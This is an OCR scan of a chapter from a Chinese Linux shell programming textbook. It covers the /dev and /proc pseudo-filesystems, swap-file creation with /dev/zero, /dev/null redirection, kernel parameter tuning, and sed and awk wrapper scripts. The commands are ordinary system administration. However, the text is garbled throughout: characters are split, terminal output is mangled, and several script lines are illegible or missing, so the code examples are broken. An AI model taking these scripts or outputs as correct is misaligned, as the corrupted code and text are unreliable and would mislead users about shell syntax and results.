senom nec ome ene # 用 户 输入 的 IP 地 址 为 空 或 与 IP 地 址 不 匹配 





al 
脚本 ip_login.sh 的 执行 结果 为 : 

# 例 15-19 中 ip login.sh 脚本 的 执行 结 
ooteloealhost ES 
Please input the 1P address. 

2 0 20 23 

wirait oe you no snl wm 





root@localhost chapter15]# ./ip login.sh 

Please input the 1P address. 

Sl 

Conneecerno to L920 L589 1 20 到 

ssh: Could not resolve hostname $: Temporary failure in name resolution 
root@localhost chapterl5]# 


例 15-19 的 脚本 ip_login.sh 中 的 函数 ip_right or tot 首先 判断 是 否 为 空 ， 如 果 为 空 ， 则 
函数 返回 结果 为 1; 如 果 不 为 空 ， 则 判断 输入 的 卫 地 址 是 否 和 预先 设置 的 全 地 址 相 匹配 ， 
如 果 不 匹 配 ， 表 示 输 入 的 IP 地 址 错误 或 不 可 链接 的 卫 地 址 ， 返 回 值 为 1， 如 果 匹 配 ， 则 返 
回 值 为 0。 在 函数 外 部 首先 交互 式 地 提示 用 户 输 入 IP 地 址 ， 接 着 调用 函数 ip_right_or_not 以 
及 命令 行 参数 ， 如 果 返 回 值 为 0， 则 执行 调用 链接 IP 地 址 ， 由 于 本 次 测试 具有 一 个 Linux 虚拟 
机 ， 所 以 无 法 链接 ， 如 果真 实情 况 下 输入 正确 的 密码 是 可 以 链接 的 ， 如 果 返 回 值 为 0， 则 输出 
“what you input is null or wrong.”。 该 例 通 过 用 户 输入 IP 地 址 达到 了 和 用 户 的 交互 性 ， 从 而 完成 
了 更 复杂 的 功能 ， 所 以 ， 在 以 后 的 Linux Shell 编程 过 程 中 要 注意 使 用 交互 式 Shell 脚本 。 


/dev 文件 系统 站 


在 Linux Shell 中 存在 伪 文 件 系统 /dev， 该 文件 系统 包括 每 个 物理 设备 对 应 的 文件 ， 如 果 
需要 挂 载 物 理 设备 或 者 虚拟 物理 设备 ， 可 通过 操作 /dev 来 完成 。 下 面 首先 介绍 一 些 /dev 文件 
系统 的 基础 知识 ， 然 后 介绍 /dev/null 和 /dev/zero 是 两 个 特殊 的 伪 设 备 ， 这 两 种 伪 设 备 可 以 提 
供 特殊 的 功能 。 


15.5.1 /dev 文件 系统 基础 知识 
Linux 中 的 设备 有 两 种 类 型 ; 字符 设备 〈 无 缓冲 且 只 能 顺序 存 取 ) 和 块 设备 《有 缓冲 且 
































































































































LL 
rg 
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能 随机 存 取 ) 。 每 个 字符 设备 和 块 设备 都 有 主 、 次 设备 号 ， 主 设备 号 相同 的 设备 是 同类 设备 
(使 用 同一 个 驱动 程序 ) 。 这 些 设 备 中 ， 有 些 设备 是 对 实际 存在 的 物理 硬件 的 抽象 ， 而 有 些 设 
备 则 是 内 核 自 身 提供 的 功能 ， 每 个 设备 在 /dev 目录 下 都 有 一 个 对 应 的 文件 〈 节 点 ) 。 可 以 通过 
df 命令 查看 当前 已 经 加 载 的 设备 驱动 的 主 设备 号 ， 下 面 的 代码 是 执行 df 命令 后 显示 的 内 容 。 
例 15-20: 使 用 qf 命令 查看 当前 已 经 加 载 的 设备 取 的 主 设备 号 

rooteloealnost HE 











































































































Ellesystem Fa=eloeksn vsed Available Uses qqMeunteden 
/dev/sda3 90833760 :832700 .7SS08. 46% » 

/dev/sdal 198337 50 开 了 4 了 8% »” oo 
tmpfs 255312 280 255032 1% /dev/shm 


[root@localhost ~]# 

例 15-20 显示 了 Linux 文件 系统 的 状态 信息 ， 包 括 各 个 分 区 的 容量 、 已 使 用 量 、 未 使 用 
量 以 及 挂 载 点 等 信息 。 

/dev 目录 内 包含 物理 设备 条 目 ， 可 以 在 根 目 录 下 查看 /dev 的 目录 ， 在 该 目录 中 包含 很 多 
文件 和 目录 ， 这 些 都 是 被 挂 载 的 文件 系统 的 硬件 设备 分 区 所 对 应 的 条 目 ， 下 面 的 例 15-21 所 
显示 的 就 是 /dev 目录 中 的 目录 或 文件 。 

# 例 15-21: /dev 目录 中 的 目录 和 文件 

















山 | 














































































































[root@localhost ~]# cd /dev 
[root@localhost dev]# ls 
00 EGG SU ram9 ed Iolo 
agpgart 1p0 random EEv2s Eeeo 
lleerk We raw CEy a6 tte 
sg 出 3 rawctl Ey 2 
bus eS JS EeeGS 
EdEcin MAKEDEYV Re lea Ew 
ela mapper Eee LEE 
Console mem scd0 Eevee EE 
Core mice sda aye Gewesed 
四 ai 而 IO Soe SS 
eeuod mouse0 sda2 ES 
CEUECmaaleeenc mousel sg0 Ev Ey 
device-mapper msr0 Sg CEy3e urandom 
disk net shm ty36 usps 
cm ne ewonkalo eney snapshot tty37 usb2 
Gin neeworkteneougmute smd Ev Uae 1 sa 
dmmidi mw sm SEE 二 让 
dvd nvram stderr tty4 usedev2 spo 
event0 oldmem Sn Gey400Mmusbaev2 esse 
event1 Bareeored sclonmt tty41 usbmon0 
event2 Eee 局 WSEEY tty42 usbmonl 
event3 PPP 1 tty43 usbmon2 
fl ptmx ‘aes ttyAA es 
Rd Bes eis tev es 
eb HIE ram0 EU VANVes2 
fuse raml ‘ei ES 
gnmeel raml0 Ea EEC 
hpet ramll ‘ee ll ES 
we zam12 ttyl14 aD Vasé 
Tne raml3 ay ENSO vesa 
kmsg raml4 Cl EEy5 vessel 
oe Tm le EY520 vese 
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loop0 ram2 

eo ram3 

SSE ram4 

eps ram5 

loop4 ram6 

Laela ram7 

loop6 ram8 
root@localhost dev]# 

由 上 面 /dev 目录 中 的 文件 和 目 








Eleyile 
的 
EY2 

记忆 2 
CE 
EW 这 这 
LE 








如 /dewloop0、/dewloop1l 等 ， 











/dev 
非常 少 的 设备 空 

















间 ， 但 















































的 系统 尚未 被 引导 , 那么 就 有 必要 
系统 的 /dev 目录 。 绑 定 挂 载 是 一 


环 回 设备 提供 


录 可 以 看 到 , /dev 目录 中 





ES 
VS 
BEY3D 
EtySlG 
CEs 
Eee 
EE 


wesseS 
vesad4d 
eS 
VCsa6 
VolGroup 
zero 











包含 环 世 











目录 下 的 文件 和 子 目 录 是 为 各 种 物理 








了 一 种 使 





























1 /dev/sdal 



































在 Pntemet 上 不 同位 


























伪 随 机 数 产生 器 ， 它 主 
作 系统 提供 本 质 上 随机 的 库 数据 ， 





15.5.2 /dev/zero 伪 设 备 


/dev/zero 

















/mnt/flashdrive 
socket 是 一 种 特殊 的 用 于 通信 的 IO 端 日 a 它 允 许 同一 
允许 在 相同 网 络 中 的 主机 间 的 数据 传输 ;“ 也 允许 穿 
置 主机 间 的 数据 传输 。 
是 否 为 一 个 有 效 的 主机 名 或 因特网 有 效 的 地 址 ， 并 日 通过 端口 
在 /dev 文件 系统 中 ，/devrandom 是 比较 特殊 的 文件 ， 
要 适用 于 高 随机 性 的 操作 中 ， 


auto 








EE: 挂 载 一 




















个 虚拟 文件 

















noauto, user,noatime 








越 不 同 网 络 的 
如 果 用 户 需 要 使 月 


系统 ， 


录 , 这 可 以 通过 绑 定 挂 载 宿 主 





设备 (loopback devices )， 





普通 文件 能 够 像 其 他 块 设备 一 样 进行 存 
取 的 机 制 ， 这 样 可 以 使 一 个 大 文件 中 的 整个 文件 系统 挂 载 到 系统 目录 下 。 在 /dev 文件 系统 中 
还 包含 一 些 伪 设备 用 于 特殊 的 用 途 ， 如 /dev/null 和 /dev/zero， 相 关内 容 将 在 15.5.3 节 讲 解 。 
设备 和 虚拟 设备 提供 的 挂 载 点 ， 这 些 条 目 使 用 
提供 了 全 部 的 目录 设备 和 虚拟 设备 的 挂 载 点 。 如 /dev/null 和 dewzero 
等 设备 都 是 虚拟 的 物理 设备 ， 仅 仅 是 存在 于 软件 的 虚拟 设备 中 。 

例如 ，/dev 目录 填充 设备 的 方法 是 在 /dev 
到 或 被 访问 到 的 时 候 (通常 是 在 系统 引导 的 过 程 中 ) 动态 创建 设备 节点 
点 /mnt/flashdrive， 如 果 不 存 在 该 挂 载 点 ， 需 要 root 用 户 来 执行 mkdir /mnt/flashdrive。 
通过 手工 挂 载 和 填充 /dev 目 

















然后 在 设备 被 检测 
。 首 先 需 要 设置 挂 载 
如 果 新 






































种 特殊 的 挂 载 方 式 ， 人 允许 用 户 创 建 一 个 目录 或 者 是 挂 载 点 的 
镜像 到 其 他 地 方 ， 如 挂 载 一 个 内 存 ， 则 可 将 下 面 一 行 代码 添加 到 文 从 





F/etc/fstab 中 。 
0 0 


台 主 机 内 不 同 硬件 设备 间 的 数据 传输 ， 





机 问 的 数据 传输 ， 当 然 还 允许 















































如 : 





日 socket 通信 ， 

或 服务 名 称 打 
该 文件 相当 于 一 个 随机 数 产 生 器 或 
一 次 性 密码 或 密 钥 生成 。Linux 操 








则 首先 需要 判断 host 
相应 的 网 络 设置 。 





























是 一 个 非常 有 用 的 伪 设 备 ， 它 可 用 于 创建 空 文件 


常 来 自 于 设备 











K 动 程序 。 


， 也 可 以 创建 RAM 文件 等 。 


下 面 的 例 15-22 通过 /dewzero 来 建立 一 个 交换 文件 ， 新 建 脚 本 dev1.sh， 脚 本 内 容 如 下 : 




















!/bin/bash 














ROOT UID=0 








[LE=/ swap 











对 


LOCKSIZE=1024 
MINBLOCKS=40 





[元 见 


4 于 
请 
HQYJ COM 


例 15-22: dev1. sh 脚本 通过 /dev/zero 建立 一 个 交换 文件 





设置 每 个 文件 块 大 小 和 文件 块 的 最 小 值 





于 root 用 户 的 $UID 为 0， 所 以 这 里 设置 ROOT _UID 
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# 设 置 创建 成 功 标志 
SUCCESS=0 
ROOT 
then 
Seneon vouar ec no en user ote oo 
正本 


# 如 果 没 在 命令 行 上 指定 设置 的 文件 块 的 个 数 ， 则 默认 设置 为 40 块 
| 
then 
blocks=$1 
else 
blocks=$MINBLOCKS 
正本 





# 如 果 设 置 的 文件 块 个 数 小 于 40， 则 将 文件 块 个 数 设置 为 40 
if [ "$blocks" -lt $MINBLOCKS ] 
then 
blocks=$MINBLOCKS 
下 











创建 文件 
echo "Creating swap file of size $blocks blocks (KB)." 


用 0 填写 文件 块 
aiEEOSACESEORSEESRITRSSEETOCKRSEZERREECUNEEOICSEE 





tt 





将 文件 指定 为 交换 文人 
mkswap $FILE $blocks 














激活 文件 
swapon $FILE 


echo “Swap file created and activated.™ 


例 15-22 中 脚本 devl.sh 的 执行 结果 为 : 

# 例 15-22 dev1 .sh 脚本 的 执行 结果 : 

[root@localhost chapter15]# ./devl.sh 120 

Creating swap file of size 120 blocks (KB). 

TO0 Oeeonmele 

T2000 reeords > oue 

I2288200eyess (L200:e Neorredq go 000 145610 7 Me 
Setting up swapspace version 1, size = 115 KiB 

no label, UUID=e2b4flee-f4b0-4e06-a7f7-e7c8261lc5c99 
Swap file created and activated. 


在 脚本 devl.sh 运行 的 过 程 中 设置 了 块 的 个 数 为 120 个 ,可 以 看 出 swap 创建 成 功 并 被 激活 。 











出 























15.5.3 /dev/null 伪 设 备 

dev/null 相当 于 一 个 文件 的 “黑洞 ”， 它 非常 接近 于 一 个 只 写 文件 ， 所 以 ， 写 入 它 的 内 
容 都 会 永远 丢失 ， 但 是 对 于 命令 行 和 脚本 来 说 ，/dev/null 却 非 常 有 用 。 如 果 不 想 使 某 文件 使 
用 stdout， 可 以 通过 使 用 /dev/null 将 stdout 禁止 ， 下 面 的 命令 就 是 实现 该 功能 的 。 
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全 
Zs 


免 这 样 的 错误 ， 可 以 通过 使 用 转移 错误 提示 的 方法 尝试 查找 文件 ， 输 入 如 下 信息 : 





《Linux Shell 编程 从 初学 到 精通 》 


[Leotonleealeost cncneesrlolt ou sn 


[root@localhost chapter15]# cat filel.sh >/dev/null 














如 果 想 隐藏 某 些 信息 ， 可 以 通过 /devAull 将 这 些 信 息 隐藏 ， 这 样 将 会 使 文件 信息 不 保存 
在 磁盘 中 。 下 面 的 例 15-23 实现 了 该 功能 ， 新 建 脚本 dev2.sh， 脚 本 内 容 如 下 : 


# 例 15-23: dev2 .sh 通过 /dev/null 将 文件 filel. sh 隐藏 




















#!/bin/bash 




















# 判 断 是 否 存 在 文件 filel .sh， 如 果 存 在 ， 则 删除 


we Se lel | 
then 
Tm ele 





Ee 


eenem oneeesseu, 





reotQleeanneseenapter 
devl.sh dev2.sh filel. 
reootQalocaulost enapter 
sueecessetub 

root@localhost chapter 


























EN. “Permission denied.” 


























( 





将 文件 filel.sh 放 入 /dev/null 
ln =s /dev/null filel.sh 





例 15-23 中 脚本 dev2.sh 的 执行 结果 为 : 
例 15-23 dev2 .sh 脚本 的 执行 结果 : 





5 be 

sneseels on ocean 
5]# ./dev2.sh 

5]# 

















在 Linux 系统 中 ，“find” 命 令 是 大 多 数 系 统 用 户 都 可 以 使 用 的 命令 。 由 于 Linux 系统 中 
管理 员 root 可 以 把 某 些 文 从 
命令 来 查询 这 些 目录 或 者 文件 。 











-目录 设置 成 禁止 访问 模式 ,这样 普 通用 户 就 没有 权限 用 “find” 
当 普通 用 户 使 用 “find” 命 令 来 查询 这 些 文件 目录 时 ， 往 往 
禁止 访问 ) 字样 ， 系 统 将 无 法 查询 到 你 想 要 的 文件 。 为 了 中 

































































Fin nenelaceese leg /dy /mo 

这 个 方法 是 把 查找 错误 提示 转移 到 特定 的 目录 中 ， 系 统 执行 这 个 命令 后 ， 过 到 错误 的 信 
息 就 直接 输送 到 stderrstream2 中 ,access log2 表明 系统 将 把 错误 信息 输送 到 stderrstream2 中 ， 
/dev/null 表明 空 的 或 者 错误 的 信息 ， 这 样 查 询 到 的 错误 信息 将 会 被 转移 。 




















>/dev/null 2>&1 





























在 Shell 中 ， 我 们 经 常 遇 到 如 下 命令 : 


该 命令 中 ，/dev/null 代表 空 设备 文件 ， 而 > 代表 重 定 向 到 哪里 ，1 表示 stdout 标准 输出 ， 
系统 默认 值 是 1， 所 以 ，“>/dev/nmull” 等 同 于 “1>/dev/null”，2 表示 stderr 标准 错误 ，&& 表 



































示 等 同 于 的 意思 ，2>&1 则 表示 2 的 输出 重 定向 等 同 于 1。 所以， 该 命令 的 整体 意思 是 : 


1>/dev/null 首先 表示 标准 




















输出 重 定向 到 空 设备 文件 ， 也 束 是 不 输出 任何 信息 到 终端 ， 接 着 






































2>&1 表示 标准 错误 输出 重 定 向 等 同 于 标准 输出 ， 因 为 之 前 标准 输出 已 经 重 定 向 到 了 空 设备 

















文件 


F， 所 以 ， 标 准 错误 输出 也 重 定向 到 空 设备 文件 。 




















/proc 文件 系统 人 


/proc 文件 系统 是 一 个 伪 文 件 系统 ， 它 只 存在 内 存 中 ， 而 不 占用 外 存 空间 。 它 以 文件 系统 
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的 方式 为 访问 系统 内 核 数据 的 操作 提供 接口 。 用 户 和 应 用 程序 可 以 通过 /proc 得 到 系统 的 信 
上 县， 并 可 以 改变 内 核 的 某 些 参数 。 由 于 系统 的 信息 〈 如 进程 ) 是 动态 改变 的 ， 所 以 ， 用 户 或 
应 用 程序 读 取 /proc 文件 时 ，/proc 文件 系统 是 动态 地 从 系统 内 核 读 出 所 需 信 息 并 提交 的 。 基 
于 /proc 文件 系统 如 上 所 述 的 特殊 性 ， 其 内 的 文件 也 常 被 称 为 虚拟 文件 ,并 具有 一 些 独特 的 特 
点 。 例 如 ， 其 中 有 些 文件 虽然 使 用 查看 命令 查看 时 会 返回 大 量 信息 ， 但 文件 本 身 的 大 小 却 会 
显示 为 0 字 节 。 上 此外， 这 些 特殊 文件 中 大 多 数 文件 的 时 间 及 日 期 属性 通常 为 当前 系统 时 间 和 
日 期 ， 这 与 它们 随时 会 被 刷新 (存储 于 RAM 中 ) 有 关 。 它 的 目录 结构 如 表 15-1 所 示 。 
表 15-1 /proc 文件 系统 目录 结构 及 说 明 
目录 名 称 


apm 高 级 电源 管理 信息 

















7 












































Vy 















































































































































cmdline 内 核 命令 行 





cpuinfo 关于 CPU 信息 
devices 义 用 到 的 设备 ( 块 设备 /字符 设备 ) 


dma 更 用 的 DMA 通道 





























filesystems 地 的 文件 系统 




















interrupts 








ioports 

















kcore 





kmsg 











ksyms 
loadavg 负载 均衡 


locks 为 核 锁 

















Imeminfo 为 存 信息 





misc 杂项 








modules 加 载 模块 列表 
mounts 加 载 的 文件 系统 
partitions 系统 识别 的 分 区 表 


rtc 实时 时 钟 

















slabinfo slab 池 信 息 





stat 全 面 统 计 状 态 表 
swaps 对 换 空间 的 利用 情况 
version 内 核 版 本 
































uptime 系统 正常 运行 时 站 




















另外 ， 在 /proc 下 还 有 三 个 很 重要 的 目录 : net、scsi 和 sys。sys 目录 是 可 写 的 ， 可 以 通过 
它 来 访问 或 修改 内 核 的 参数 ， 而 net 和 scsi 则 依赖 于 内 核 配置 ， 例 如 : 如 果 系 统 不 支持 scsi， 
则 scsi 目录 不 存在 。 并 不 是 所 有 这 些 目录 在 系统 中 都 有 ， 这 取决 于 内 核 配置 和 装载 的 模块 。 
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为 了 方便 查看 和 使 用 ， 这 些 文件 通常 会 按照 相关 性 进行 分 类 存储 于 不 同 的 目录 或 子 目录 中 ， 


Uh/p 


断 链表 上 的 设备 接 














roc/scsi 目录 中 存储 的 就 是 当前 系统 上 所 有 SCSI 设备 的 相关 信息 ，/proc/N 中 存储 的 则 是 
系统 当前 正在 运行 的 进程 相关 的 信息 ， 其 中 N 为 正在 运行 的 进程 。 





















































用 户 如 果 想 查看 系统 信息 ， 可 使 用 cat 命令 ， 如 例 15-24 中 的 
# 例 15-24: 通过 cat 命令 查看 中 断 
[root@localhost home]# cat /proc/interrupts 


























用 于 查看 中 断 。 





C0 

0 Wo4 IO-APIC-edge timer 

是 194 IO=APIC=edge i8042 

1 IO-APIC-edge 

4 1L IO-APIC-edge 

电 0 IO-APIC-edge parport0 

8 L IO-APIC-edge IE 

9 0 FO ABEIC fasteounept 

2 2965 IO-APIC-edge i8042 

4: @ IO-APIC-edge atanpiix 

本 449713 IO-APIC-edge nee ou 

5 0 APIC Fasteeorn nemed: us 

忆 40440 LOAPIG FosEeor toe 

8 45773 TO APIC fasteeo sen 

9 和 366583 APlC East nemea ub ninsonne eeer 
NMI : 0 Non-maskable interrupts 
GOCE SO Local timer interrupts 
RS 0 Rescheduling interrupts 
CAL: 0 amie tuon con nt er ees 
UE 0 TLB shootdowns 
TRM: 0 Thermal event interrupts 
Ss 0 Spurious "meerrupEes 
ERR: 0 
MIS: 0 


root@localhost home]t# 


选取 其 中 一 行进 行 解释 : 











尺码 中 ， 中 断 号 为 19 的 中 断口 在 CPU0 上 响应 了 865 833 个 器 














SE ese eo ere fosseomn nome rn 









































个 设备 共享 。 


15.6.1 使 用 /proc/sys 优化 系统 参数 


面 的 

















P 断 ， 链 接 在 这 个 端口 的 中 
































列 15-25 用 于 对 文件 大 小 的 最 大 上 限 进行 修改 。 

例 15-25: 通过 echo 命令 对 文件 大 小 的 最 大 上 限 进行 修改 
root@localhost home]# cat /proc/sys/fs/file-max 
49742 
root@localhost home]# echo 8192 > /proc/sys/fs/file-max 
root@localhost home]# cat /proc/sys/fs/file-max 

志江 多 
root@localhost home]t+# 





























远见 教 


二 
| 




















化 : 青 | 元 四 化 




















命令 重 定向 到 文件 。 
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是 IO-APIC-fasteoi， 这 个 中 断 号 是 uhci hcd:usb2 和 Ensoniq AudioPC 两 


用 户 可 通过 /proc/sys 目录 修改 内 核 参数 来 优化 系统 ， ee 不 要 随意 修改 内 核 
参数 ， 这 样 容易 造成 系统 骨 溃 。 要 改变 系统 参数 ， 可 通过 vi 或 echo 命令 


下 
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用 户 优化 内 核 参数 后 ， 需 将 其 添加 到 文件 rc.local 中 ， 使 其 在 系统 启动 时 自动 完成 修改 。 

/proc/sys 目录 下 存在 一 个 特殊 目录 /proc/sys/dev， 该 目录 主要 为 系统 中 的 特殊 设备 提供 参 
数 信息 文件 的 目录 ， 其 不 同 设备 的 信息 文件 分 别 存储 于 不 同 的 子 目 录 中 ， 如 大 多 数 系统 上 都 
会 具有 的 /proc/sys/dev/cdrom 和 /proc/sys/dev/raid 〈 如 果 内 核 编译 时 开启 了 支持 raid 的 功能 
目录 ， 该 目录 通常 存储 的 是 系统 上 cdrom 和 raid 的 相关 参数 信息 文件 。 


15.6.2 ”查看 运行 中 的 进程 信息 


/proc 文件 系统 可 以 用 于 获取 运行 中 进程 的 信息 。 在 /proc 中 有 一 些 编号 的 子 目 录 ， 每 个 
编号 的 目录 对 应 一 个 进程 ID (PID)。 这 样 ， 每 一 个 运行 中 的 进程 /proc 中 都 有 一 个 用 它 的 PID 
命名 的 目录 ， 这 些 子 目录 中 包含 可 以 提供 有 关 进 程 的 状态 和 环境 的 重要 细节 信息 的 文件 。 下 
面 的 例 15-26 用 于 查找 一 个 正在 运行 的 mozilla 进程 。 

#15-26 通过 ps 命令 查看 正在 运行 的 进程 

[root@localhost homel]# ps -aef | grep mozilla 















































































































































































































































wyq 4226 DOSE OOOS0O0 ET SS eetor So 
run-mozilla.sh /usr/lib/firefox-3.5b4/firefox 
E60E 2 Se 0 00 ey OO-0000 re moze 


[root@localhost homel]# 

可 以 看 出 , mozilla 进程 是 由 用 户 wyq 打开 运行 , 而 root 用 户 则 在 查询 正在 运行 的 mozilla 
进程 。 由 上 面 的 代码 可 以 看 出 ， 正 在 运行 的 mozilla 进程 的 PID 为 4226， 则 相应 的 在 /proc 中 
有 一 个 名 为 4226 的 目录 ， 可 以 通过 ls 命令 查看 该 目录 sa 下 面 的 例 15-27 用 于 查看 /proc/4226 
目录 下 的 信息 。 


# 例 15-27: 查看 /proc/4226 目录 下 的 信息 
[root@localhost home]# ls /proc/4226 
















































































SEE environ maps pagemap stat 
auXV exe mem personality statm 
erou el io | AE Saews 
Eee ES fdinfo mounts Siemeegl syscall 
cmdline i neounteseatseseneestsse Gask 
come ae nev ies sessionid wchan 
cpuset limits oom adj smaps 

cwd eee onseoreasteaek 


[root@localhost homel]# 

该 目录 下 存在 还 很 多 文件 ， 每 个 文件 都 有 其 具体 的 含义 ， 如 文件 “cmdline ”包含 启 动 进 
程 时 调用 的 命令 行 , “envir” 是 进程 的 环境 变量 ，“status” 是 进程 的 状态 信息 ， 包 括 启 动 进 
程 的 用 户 ID (UID) 、 组 ID(GID) 、 父 进程 ID (PPID) 以 及 进程 当前 的 状态 。 每 个 进程 的 目录 
都 有 几 个 符号 链接 ，“cwd” 是 指向 进程 当前 工作 目录 的 符号 链接 ，“exe” 指 向 运行 的 进程 
的 可 执行 程序 ，“root” 指 向 被 这 个 进程 看 做 是 根 目录 的 目录 (通常 是 “/”) ， 而 目录 人 锯 包 
含 指 回 进 程 使 用 的 文件 描述 符 的 链接 ， 其 他 一 些 文件 在 这 里 就 不 一 一 介绍 了 。 

同样 可 以 通过 脚本 来 判断 进程 是 否 运 行 ， 下 面 的 例 15-28 就 实现 该 功能 ， 新 建 脚本 
procl.sh， 脚 本 内 容 如 下 : 


# 例 15-28: proc1l .sh 脚本 用 于 判断 进程 是 否 运 行 
#!/bin/bash 















































































































































































































































# 此 脚本 期 望 的 参数 个 数 





























ssE 化 清 六 > 门 车 伴 它 ' x] 。 
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yA 


本 proc2.sh， 脚 本 内 容 如 下 : 
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argno=1 


TIE 和 SS 


then 
echo "Usage: ' basename $0' PID-number" >&2 
全 站 
BE el] 
then 


echo"process 9 Ss cunning 
eyse 
seeneo No suenmm oesseo nn 
Ta 
例 15-28 中 脚本 procl.sh 的 执行 结果 如 下 所 示 ， 可 以 看 出 进程 4226 正在 运行 。 


例 15-28 procl.sh 脚本 的 执行 结果 
[root@localhost shell]# ./procl.sh 4226 
Process #4226 is running 
[root@localhost shell]# 























15.6.3 ”查看 文件 系统 信息 























通过 /proc 文件 系统 可 查看 文件 系统 信息 ， 例 15-29 通过 cat 命令 实现 了 该 功能 ， 新 建 肢 























例 15-29: proc2.sh 用 于 查看 文件 系统 支持 的 类 型 
#!/bin/bash 


eCcho "SUPPORTED FILESYSTEM TYPES:" 

SO = 
catY/eroe/ Eles ystems ew Ee Nt et 2 

例 15-29 中 脚本 proc2.sh 执行 结果 大 
# 例 15-29 proc2 .sh 脚本 的 执行 结 
[root@localhost chapter15]# ./Proc2 .sh 
SUPPORTED FILESYSTEM TYPES: 














sysEsqreoomEsebaev occemoueoouseen emesis 
eebuoEse Sern esesoereseusbesa uses nooneolis 
tmpfs inotifyfs devpts ext3 ext4 ext4dev ramfs 
nugetlseseuseoneeo maueuee se Es ee se 
fuseblk fusectl1 
EeoottlocennesE rp 


通过 脚本 proc2.sh 的 执行 结果 可 以 看 出 ， 本 文件 系统 支持 sysfs、rootfs、 bdev、proc 等 


























诸多 类 型 ， 这 些 丰 富 的 类 型 支持 为 有 效 地 执行 文件 系统 提供 了 保障 。 
15.6.4 查看 网 络 信息 












































通过 /proc 文件 系统 可 以 获得 各 种 各 样 的 网 络 信息 。 下 面 的 例 15-30 通过 cat 命令 获得 了 


3 








网 络 套 接 字 的 使 用 统计 。 





人 网 15-30: 通过 cat 命令 获得 网 络 套 接 字 的 使 用 统计 
Eocoualocalhosa cnagteElolHECa /Broc/net/sockstat 
sockets: used 587 

mee: nusene orhennon ew oneen tomeml 
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UDP: inuse 8 mem 2 

UDBPELLE :nae 

RAW: inuse 0 

FRAG: inuse 0 memory 0 

[root@localhost chapterl5]# 

同样 , 还 可 通过 cat 命令 来 查看 TCP 的 具体 使 用 
例 15-31: 通过 cat 命令 显示 了 TCP 的 使 用 情况 
EeesRSSE eneeelo lt ea eon/ es 

















情况 , 下 面 的 例 15-31 显示 了 TCP 的 使 用 情况 。 
































sieocals adenressar emiadeness stocdavevueeq dueueent en wener et msme wel 
Emeorv ende 

0: 00000000:B84E 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 
006882 de 2 

00000000:006F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 

0 6788 deo0ae0 80 0 

2: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 
07558 GESSOSS 0 2 

3: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 
0 71352 eso 0 255 O02 1 

4: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 
1a Teeter 290002 1l 

5: 809EA8C0:0015 O019EA8CO0:049F 01 00000030:00000000 01:00000023 00000000 0 


02056294 qe09e20 3603925 3 4 
[root@localhost chapterl5]# 


可 以 看 出 ，/dev 文件 系统 的 功能 很 强 ， 通 过 该 文件 系统 可 以 获得 很 多 有 用 的 信息 ， 这 里 
就 不 一 一 列举 了 。 


WE :ax 放 


Shell 包装 的 脚本 指 的 是 内 嵌 系 统 命令 或 工具 的 脚本 , 这 种 脚本 保留 了 传递 给 命令 的 一 系 
列 参数 。 因 为 包装 脚本 中 包含 了 许多 带 有 参数 的 命令 ， 使 它 能 够 完成 特定 的 目的 ， 所 以 ， 这 
样 就 大 大 简化 了 命令 行 的 输入 ;尤其 适用 于 sed 和 awk 命令 。 
将 包装 了 sed 和 awk 的 脚本 组 入 到 bash 脚本 中 将 会 使 调用 更 加 简单 ， 并 且 还 可 以 “重复 
利用 ”。 下 面 举 例 说 明 在 脚本 中 如 何 包 装 sed 和 awk 命令 。 例 15-32 中 的 脚本 package _sed.sh 


是 一 个 包装 了 sed 的 脚本 ， 该 脚本 用 户 完成 输入 文件 中 的 字符 串 蔡 换 的 功能 ， 脚 本 内 容 如 下 : 
# 例 15-32: 一 个 包装 了 seq 的 脚本 
#package sed.sh: 该 脚本 用 于 将 一 个 文件 中 的 某 字 符 串 蔡 换 为 男 一 个 字符 
#!/bin/bash 













































































0 














# 提 示 用 户 需 要 修改 的 文件 名 
echo "Please input the file which you want to change: 


m 


read file 


# 判 断 命令 行 输入 的 参数 是 否 为 文件 
Te ew 
then 
file name=$file 
else 
echo "File \"$file\" does not exist." 
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exit $bad parameter 
1 





# 提 示 用 户 输入 需要 修改 的 字符 上 
echo "Please input the old pattern of string: " 
eae olenae eee 


Ud 





# 提 示 用 户 修改 后 的 字符 上 
senoa Plsase Tinout Cneeserino wie ou want ton moeneEs 


ud 





Eocene we en 





's' 在 sed 中 是 替换 命令 ，pattern/ 表 示 匹 配 模式 
"g"， 即 全 局 标志 ， 用 来 自动 将 换 每 行 中 
出 现 的 全 部 $old_pattern 模式 ， 而 不 仅仅 蔡 换 第 一 个 匹配 

sed -e "s/$old pattern/$new pattern/g" $file name 
































成 功 调用 脚本 ， 将 会 返回 0 . 
exit 0 
例 15-32 中 的 脚本 package_sed.sh 的 执行 结果 : 

例 15-32 中 package sed.sh 脚本 的 执行 结果 
koeotoloealhneost enanterls lm teste te 

henleoe woele 2 womkel 

root@localhost chapter15]# ./package sed.sh 
Please nput the eile whiehn vonvwant to enonge. 
St 六 

BPlease meu Che olpat tern or este 

















world 

Blesase Tnome ener seme wnlehn ou wean omoenEy: 
everyone 

hello everyone 1 2 3 erveryone 

root@localhost chapterl5]# 








接着 提示 


























脚本 package_sed.sh 中 首先 提示 用 户 输入 需要 修改 的 文件 , 然后 提示 需要 修改 的 字符 串 ， 
j 户 输入 修改 的 字符 串 ， 最 后 调用 sed 命令 完成 对 文件 中 的 字符 串 替 换 。 在 执行 时 ， 








首先 通过 vim 命令 新 建 一 个 文件 testtxt， 然 后 输入 内 容 “hello world 1 2 3 world”， 接 着 一 步 
步 地 提示 用 户 将 world 修改 为 everyone, 可 以 看 到 输出 结果 为 “hello everyone 1 2 3 erveryone ”， 
说 明 该 脚本 很 好 地 完成 了 对 sed 的 包装 。 























避 
市 
yy 

















却 本 内 容 如 下 : 

例 15-33: 包装 awd 脚本 的 Shel1l 包装 
print-ascii.sh: 输出 ASCII 人 码 的 字符 表 . 

#!/bin/bash 



































设置 可 输出 的 ASCII 字符 的 范围 (十进制 ) 
start=48 
end=57 

















# 提 示 输出 的 表 头 
echno pecimall Hex Gnaenmaectery, 
已 二 DG 三 三 三 三 三 三 三 三 三 = 三 三 三 三 三 三 三 二 nm 


























# 该 for 循环 用 于 输出 十 进 制 48 一 57 对 应 的 十 六 进 制 和 ASCII 码 








